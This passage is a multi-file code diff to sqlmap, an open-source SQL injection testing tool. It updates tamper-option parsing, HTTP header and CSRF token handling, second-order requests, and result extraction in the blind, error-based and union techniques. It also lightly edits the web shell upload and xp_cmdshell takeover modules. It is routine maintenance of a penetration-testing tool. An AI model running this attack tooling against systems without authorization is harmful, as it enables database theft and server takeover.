                                  help="Safely remove all content from sqlmap data directory")
 
         miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
-                                 help="Skip heuristic detection of WAF/IPS/IDS protection")
+                                 help="Skip heuristic detection of WAF/IPS protection")
 
         miscellaneous.add_option("--smart", dest="smart", action="store_true",
                                  help="Conduct thorough tests only if positive heuristic(s)")
@@ -750,6 +753,7 @@ def cmdLineParser(argv=None):
         prompt = False
         advancedHelp = True
         extraHeaders = []
+        tamperIndex = None
 
         # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
         for arg in argv:
@@ -821,6 +825,12 @@ def cmdLineParser(argv=None):
             elif re.search(r"\A-\w=.+", argv[i]):
                 dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
                 raise SystemExit
+            elif argv[i].startswith("--tamper"):
+                if tamperIndex is None:
+                    tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
+                else:
+                    argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
+                    argv[i] = ""
             elif argv[i] == "-H":
                 if i + 1 < len(argv):
                     extraHeaders.append(argv[i + 1])
@@ -874,9 +884,9 @@ def cmdLineParser(argv=None):
         if args.dummy:
             args.url = args.url or DUMMY_URL
 
-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl)):
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers)):
-            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
+            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
-            errMsg += "use -h for basic or -hh for advanced help\n"
+            errMsg += "Use -h for basic and -hh for advanced help\n"
             parser.error(errMsg)
 
         return args

lib/parse/payloads.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import os
+import re
 
 from xml.etree import ElementTree as et
 
@@ -17,6 +18,9 @@ from lib.core.exception import SqlmapInstallationException
 from lib.core.settings import PAYLOAD_XML_FILES
 
 def cleanupVals(text, tag):
+    if tag == "clause" and '-' in text:
+        text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
+
     if tag in ("clause", "where"):
         text = text.split(',')
 

lib/request/comparison.py

@@ -137,10 +137,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
             seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
             seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
 
+            if kb.heavilyDynamic:
+                seq1 = seq1.split("\n")
+                seq2 = seq2.split("\n")
+
             seqMatcher.set_seq1(seq1)
             seqMatcher.set_seq2(seq2)
 
-            ratio = round(seqMatcher.quick_ratio(), 3)
+            ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
 
     # If the url is stable and we did not set yet the match ratio and the
     # current injected value changes the url page content

lib/request/connect.py

@@ -16,6 +16,7 @@ import string
 import struct
 import time
 import traceback
+import urllib
 import urllib2
 import urlparse
 
@@ -68,6 +69,7 @@ from lib.core.dicts import POST_HINT_CONTENT_TYPES
 from lib.core.enums import ADJUST_TIME_DELAY
 from lib.core.enums import AUTH_TYPE
 from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import HINT
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
 from lib.core.enums import NULLCONNECTION
@@ -87,6 +89,7 @@ from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import DEFAULT_CONTENT_TYPE
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
+from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import EVALCODE_KEYWORD_SUFFIX
 from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
 from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
@@ -97,6 +100,8 @@ from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
 from lib.core.settings import MAX_MURPHY_SLEEP_TIME
 from lib.core.settings import META_REFRESH_REGEX
 from lib.core.settings import MIN_TIME_RESPONSES
+from lib.core.settings import MAX_TIME_RESPONSES
+from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -357,14 +362,21 @@ class Connect(object):
             if kb.proxyAuthHeader:
                 headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
 
-            if not getHeader(headers, HTTP_HEADER.ACCEPT):
+            if not conf.requestFile or not target:
-                headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
+                if not getHeader(headers, HTTP_HEADER.HOST):
+                    headers[HTTP_HEADER.HOST] = getHostHeader(url)
 
-            if not getHeader(headers, HTTP_HEADER.HOST) or not target:
+                if not getHeader(headers, HTTP_HEADER.ACCEPT):
-                headers[HTTP_HEADER.HOST] = getHostHeader(url)
+                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
 
-            if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
+                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
-                headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
+                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
+
+            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
+                for header in headers:
+                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
+                        del headers[header]
+                        break
 
             if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                 headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
@@ -381,10 +393,6 @@ class Connect(object):
             if conf.keepAlive:
                 headers[HTTP_HEADER.CONNECTION] = "keep-alive"
 
-            # Reset header values to original in case of provided request file
-            if target and conf.requestFile:
-                headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
-
             if auxHeaders:
                 headers = forgeHeaders(auxHeaders, headers)
 
@@ -490,9 +498,10 @@ class Connect(object):
                     page = Connect._connReadProxy(conn) if not skipRead else None
 
                 if conn:
-                    code = conn.code
+                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                     responseHeaders = conn.info()
                     responseHeaders[URI_HTTP_HEADER] = conn.geturl()
+                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                 else:
                     code = None
                     responseHeaders = {}
@@ -587,7 +596,7 @@ class Connect(object):
             threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
             kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
 
-            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
 
             if responseHeaders:
                 logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -646,7 +655,7 @@ class Connect(object):
                 warnMsg = "connection was forcibly closed by the target URL"
             elif "timed out" in tbMsg:
                 if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
-                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
+                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests")
                     kb.droppingRequests = True
                 warnMsg = "connection timed out to the target URL"
             elif "Connection reset" in tbMsg:
@@ -655,7 +664,7 @@ class Connect(object):
                     conf.disablePrecon = True
 
                 if kb.testMode:
-                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
+                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests")
                     kb.droppingRequests = True
                 warnMsg = "connection reset to the target URL"
             elif "URLError" in tbMsg or "error" in tbMsg:
@@ -746,7 +755,7 @@ class Connect(object):
 
             responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
         else:
-            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
 
         if responseHeaders:
             logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -813,10 +822,14 @@ class Connect(object):
                 conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
 
         if payload:
+            delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
+
             if not disableTampering and kb.tamperFunctions:
                 for function in kb.tamperFunctions:
+                    hints = {}
+
                     try:
-                        payload = function(payload=payload, headers=auxHeaders)
+                        payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
                     except Exception, ex:
                         errMsg = "error occurred while running tamper "
                         errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex))
@@ -829,6 +842,18 @@ class Connect(object):
 
                 value = agent.replacePayload(value, payload)
 
+                if hints:
+                    if HINT.APPEND in hints:
+                        value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
+
+                    if HINT.PREPEND in hints:
+                        if place == PLACE.URI:
+                            match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
+                            if match:
+                                value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
+                        else:
+                            value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
+
             logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))
 
             if place == PLACE.CUSTOM_POST and kb.postHint:
@@ -845,10 +870,10 @@ class Connect(object):
                 value = agent.replacePayload(value, payload)
             else:
                 # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
-                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
+                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
                     skip = False
 
-                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
+                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
                         if kb.cookieEncodeChoice is None:
                             msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]")  # Reference: https://support.microsoft.com/en-us/kb/313282
                             kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
@@ -937,7 +962,7 @@ class Connect(object):
                 retVal = paramString
                 match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString)
                 if match:
-                    retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
+                    retVal = re.sub(re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
                 else:
                     match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
                     if match:
@@ -945,15 +970,27 @@ class Connect(object):
                 return retVal
 
             page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
-            token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "")
+            token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s\b[^>]*\bvalue=[\"']?(?P<result>[^>'\"]*)" % re.escape(conf.csrfToken), page or "")
 
             if not token:
-                token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "")
+                token = extractRegexResult(r"(?i)<input[^>]+\bvalue=[\"']?(?P<result>[^>'\"]*)[\"']?[^>]*\bname=[\"']?%s\b" % re.escape(conf.csrfToken), page or "")
 
                 if not token:
                     match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
                     token = match.group(1) if match else None
 
+                    if not token:
+                        token = extractRegexResult(r"\b%s\s*[:=]\s*(?P<result>\w+)" % re.escape(conf.csrfToken), str(headers))
+
+                        if not token:
+                            token = extractRegexResult(r"\b%s\s*=\s*['\"]?(?P<result>[^;'\"]+)" % re.escape(conf.csrfToken), page or "")
+
+                            if token:
+                                match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token)
+
+                                if match:
+                                    token = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
+
             if not token:
                 if conf.csrfUrl != conf.url and code == httplib.OK:
                     if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
@@ -1232,13 +1269,20 @@ class Connect(object):
                 warnMsg = "site returned insanely large response"
                 if kb.testMode:
                     warnMsg += " in testing phase. This is a common "
-                    warnMsg += "behavior in custom WAF/IPS/IDS solutions"
+                    warnMsg += "behavior in custom WAF/IPS solutions"
                 singleTimeWarnMessage(warnMsg)
 
         if conf.secondUrl:
             page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
-        elif kb.secondReq:
+        elif kb.secondReq and IDS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""):
-            page, headers, code = Connect.getPage(url=kb.secondReq[0], post=kb.secondReq[2], method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+            def _(value):
+                if kb.customInjectionMark in (value or ""):
+                    if payload is None:
+                        value = value.replace(kb.customInjectionMark, "")
+                    else:
+                        value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
+                return value
+            page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
 
         threadData.lastQueryDuration = calculateDeltaSeconds(start)
         threadData.lastPage = page
@@ -1254,6 +1298,8 @@ class Connect(object):
         elif noteResponseTime:
             kb.responseTimes.setdefault(kb.responseTimeMode, [])
             kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
+            if len(kb.responseTimes) > MAX_TIME_RESPONSES:
+                kb.responseTimes = kb.responseTimes[-MAX_TIME_RESPONSES:]
 
         if not response and removeReflection:
             page = removeReflectiveValues(page, payload)

lib/request/pkihandler.py

@@ -9,6 +9,8 @@ import httplib
 import urllib2
 
 from lib.core.data import conf
+from lib.core.common import getSafeExString
+from lib.core.exception import SqlmapConnectionException
 
 class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
     def __init__(self, auth_file):
@@ -19,5 +21,10 @@ class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
         return self.do_open(self.getConnection, req)
 
     def getConnection(self, host, timeout=None):
-        # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
+        try:
-        return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
+            # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
+            return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
+        except IOError, ex:
+            errMsg = "error occurred while using key "
+            errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
+            raise SqlmapConnectionException(errMsg)

lib/takeover/udf.py

@@ -108,7 +108,7 @@ class UDF:
         return output
 
     def udfCheckNeeded(self):
-        if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
+        if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
             self.sysUdfs.pop("sys_fileread")
 
         if not conf.osPwn:

lib/takeover/web.py

@@ -146,8 +146,7 @@ class Web:
                 query += "OR %d=%d " % (randInt, randInt)
 
         query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
-        query = agent.prefixQuery(query)
+        query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
-        query = agent.suffixQuery(query)
         payload = agent.payload(newValue=query)
         page = Request.queryPage(payload)
 

lib/takeover/xp_cmdshell.py

@@ -136,7 +136,7 @@ class XP_cmdshell:
 
         for line in lines:
             echoedLine = "echo %s " % line
-            echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile)
+            echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
             echoedLines.append(echoedLine)
 
         for echoedLine in echoedLines:

lib/techniques/blind/inference.py

@@ -472,7 +472,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                             currentCharIndex = threadData.shared.index[0]
 
                         if kb.threadContinue:
-                            start = time.time()
                             val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
                             if val is None:
                                 val = INFERENCE_UNKNOWN_CHAR
@@ -485,7 +484,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
                         if kb.threadContinue:
                             if showEta:
-                                progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0])
+                                progress.progress(threadData.shared.index[0])
                             elif conf.verbose >= 1:
                                 startCharIndex = 0
                                 endCharIndex = 0
@@ -502,7 +501,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                 count = threadData.shared.start
 
                                 for i in xrange(startCharIndex, endCharIndex + 1):
-                                    output += '_' if currentValue[i] is None else currentValue[i]
+                                    output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
 
                                 for i in xrange(length):
                                     count += 1 if currentValue[i] is not None else 0
@@ -519,7 +518,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                     status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
                                     output += status if _ != length else " " * len(status)
 
-                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
+                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
 
                 runThreads(numThreads, blindThread, startThreadMsg=False)
 
@@ -553,7 +552,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
             while True:
                 index += 1
-                start = time.time()
 
                 # Common prediction feature (a.k.a. "good samaritan")
                 # NOTE: to be used only when multi-threading is not set for
@@ -578,7 +576,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                         # Did we have luck?
                         if result:
                             if showEta:
-                                progress.progress(calculateDeltaSeconds(start), len(commonValue))
+                                progress.progress(len(commonValue))
                             elif conf.verbose in (1, 2) or conf.api:
                                 dataToStdout(filterControlChars(commonValue[index - 1:]))
 
@@ -628,7 +626,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                 threadData.shared.value = partialValue = partialValue + val
 
                 if showEta:
-                    progress.progress(calculateDeltaSeconds(start), index)
+                    progress.progress(index)
                 elif conf.verbose in (1, 2) or conf.api:
                     dataToStdout(filterControlChars(val))
 

lib/techniques/error/use.py

@@ -16,6 +16,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import dataToStdout
 from lib.core.common import decodeHexValue
 from lib.core.common import extractRegexResult
+from lib.core.common import firstNotNone
 from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
 from lib.core.common import getUnicode
@@ -102,7 +103,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
         try:
             while True:
                 check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
-                trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
+                trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
 
                 if field:
                     nulledCastedField = agent.nullAndCastField(field)
@@ -133,22 +134,21 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
 
                 # Parse the returned page to get the exact error-based
                 # SQL injection output
-                output = reduce(lambda x, y: x if x is not None else y, (
+                output = firstNotNone(
                     extractRegexResult(check, page),
                     extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
                     extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
-                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)),
+                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
-                    None
                 )
 
                 if output is not None:
                     output = getUnicode(output)
                 else:
-                    trimmed = (
+                    trimmed = firstNotNone(
-                        extractRegexResult(trimcheck, page) or
+                        extractRegexResult(trimCheck, page),
-                        extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or
+                        extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
-                        extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or
+                        extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
-                        extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                        extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
                     )
 
                     if trimmed:
@@ -163,7 +163,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                             output = extractRegexResult(check, trimmed, re.IGNORECASE)
 
                             if not output:
-                                check = "(?P<result>[^\s<>'\"]+)"
+                                check = r"(?P<result>[^\s<>'\"]+)"
                                 output = extractRegexResult(check, trimmed, re.IGNORECASE)
                             else:
                                 output = output.rstrip()
@@ -332,7 +332,7 @@ def errorUse(expression, dump=False):
                     stopLimit = int(count)
 
                     infoMsg = "used SQL query returns "
-                    infoMsg += "%d entries" % stopLimit
+                    infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
                     logger.info(infoMsg)
 
             elif count and not count.isdigit():
@@ -402,7 +402,6 @@ def errorUse(expression, dump=False):
                         while kb.threadContinue:
                             with kb.locks.limit:
                                 try:
-                                    valueStart = time.time()
                                     threadData.shared.counter += 1
                                     num = threadData.shared.limits.next()
                                 except StopIteration:
@@ -419,7 +418,7 @@ def errorUse(expression, dump=False):
                             with kb.locks.value:
                                 index = None
                                 if threadData.shared.showEta:
-                                    threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                    threadData.shared.progress.progress(threadData.shared.counter)
                                 for index in xrange(1 + len(threadData.shared.buffered)):
                                     if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                         break
@@ -445,8 +444,11 @@ def errorUse(expression, dump=False):
     if not value and not abortedFlag:
         value = _errorFields(expression, expressionFields, expressionFieldsList)
 
-    if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
+    if value and isListLike(value):
-        value = unArrayizeValue(value)
+        if len(value) == 1 and isinstance(value[0], basestring):
+            value = unArrayizeValue(value)
+        elif len(value) > 1 and stopLimit == 1:
+            value = [value]
 
     duration = calculateDeltaSeconds(start)
 

lib/techniques/union/test.py

@@ -56,7 +56,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
             query = agent.suffixQuery(query, suffix=suffix, comment=comment)
             payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
             page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
-            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
+            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
 
         if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
             infoMsg = "'ORDER BY' technique appears to be usable. "

lib/techniques/union/use.py

@@ -19,6 +19,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
 from lib.core.common import extractRegexResult
+from lib.core.common import firstNotNone
 from lib.core.common import flattenValue
 from lib.core.common import getConsoleWidth
 from lib.core.common import getPartRun
@@ -90,7 +91,10 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
             # Parse the returned page to get the exact UNION-based
             # SQL injection output
             def _(regex):
-                return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None)
+                return firstNotNone(
+                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
+                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
+                )
 
             # Automatically patching last char trimming cases
             if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
@@ -254,7 +258,7 @@ def unionUse(expression, unpack=True, dump=False):
                     stopLimit = int(count)
 
                     infoMsg = "used SQL query returns "
-                    infoMsg += "%d entries" % stopLimit
+                    infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
                     logger.info(infoMsg)
 
             elif count and (not isinstance(count, basestring) or not count.isdigit()):
@@ -308,7 +312,6 @@ def unionUse(expression, unpack=True, dump=False):
                         while kb.threadContinue:
                             with kb.locks.limit:
                                 try:
-                                    valueStart = time.time()
                                     threadData.shared.counter += 1
                                     num = threadData.shared.limits.next()
                                 except StopIteration:
@@ -333,7 +336,7 @@ def unionUse(expression, unpack=True, dump=False):
                                         items = parseUnionPage(output)
 
                                         if threadData.shared.showEta:
-                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                            threadData.shared.progress.progress(threadData.shared.counter)
                                         if isListLike(items):
                                             # in case that we requested N columns and we get M!=N then we have to filter a bit
                                             if len(items) > 1 and len(expressionFieldsList) > 1:
@@ -355,7 +358,7 @@ def unionUse(expression, unpack=True, dump=False):
                                     else:
                                         index = None
                                         if threadData.shared.showEta:
-                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                            threadData.shared.progress.progress(threadData.shared.counter)
                                         for index in xrange(1 + len(threadData.shared.buffered)):
                                             if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
                                                 break

lib/utils/api.py

@@ -58,7 +58,7 @@ from thirdparty.bottle.bottle import server_names
 
 # Global data storage
 class DataStore(object):
-    admin_id = ""
+    admin_token = ""
     current_db = None
     tasks = dict()
     username = None
